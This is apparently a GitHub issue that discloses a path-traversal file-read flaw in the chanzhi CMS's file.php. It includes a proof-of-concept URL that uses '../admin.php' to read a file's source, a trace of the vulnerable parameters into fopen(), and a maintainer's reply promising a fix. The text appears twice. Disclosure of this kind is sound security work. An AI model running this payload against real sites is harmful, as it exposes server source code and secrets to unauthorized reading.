Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
download url http://dl.cnezsoft.com/chanzhi/pro/1.6/ioncube/chanzhiPro1.6.php5.zip poc http://127.0.0.1/chanzhi/chanzhieps/www/file.php?pathname=../admin.php&t=txt&o=source vul file in E:\PHPStudy\PHPTutorial\WWW\chanzhi\chanzhieps\www\file.php Controllable parameters $objectType ,$pathname ,$extension, Final execution is $handle = fopen($filePath, "r"); while $filePath = $realPath; $realPath = $savePath . $pathname; $savePath = $dataRoot; $dataRoot = rtrim(dirname($_SERVER['SCRIPT_FILENAME']), '/') . '/data/'; result fopen($filePath, "r");
http://127.0.0.1/chanzhi/chanzhieps/www/file.php?pathname=../admin.php&t=txt&o=source
E:\PHPStudy\PHPTutorial\WWW\chanzhi\chanzhieps\www\file.php
$handle = fopen($filePath, "r");
The text was updated successfully, but these errors were encountered:
@tom0li Thank you.We'll fix this issue later.
Sorry, something went wrong.
No branches or pull requests
download url http://dl.cnezsoft.com/chanzhi/pro/1.6/ioncube/chanzhiPro1.6.php5.zip
poc
http://127.0.0.1/chanzhi/chanzhieps/www/file.php?pathname=../admin.php&t=txt&o=sourcevul file in
E:\PHPStudy\PHPTutorial\WWW\chanzhi\chanzhieps\www\file.phpControllable parameters $objectType ,$pathname ,$extension,
Final execution is
$handle = fopen($filePath, "r");while $filePath = $realPath;
$realPath = $savePath . $pathname;
$savePath = $dataRoot;
$dataRoot = rtrim(dirname($_SERVER['SCRIPT_FILENAME']), '/') . '/data/';
result fopen($filePath, "r");
The text was updated successfully, but these errors were encountered: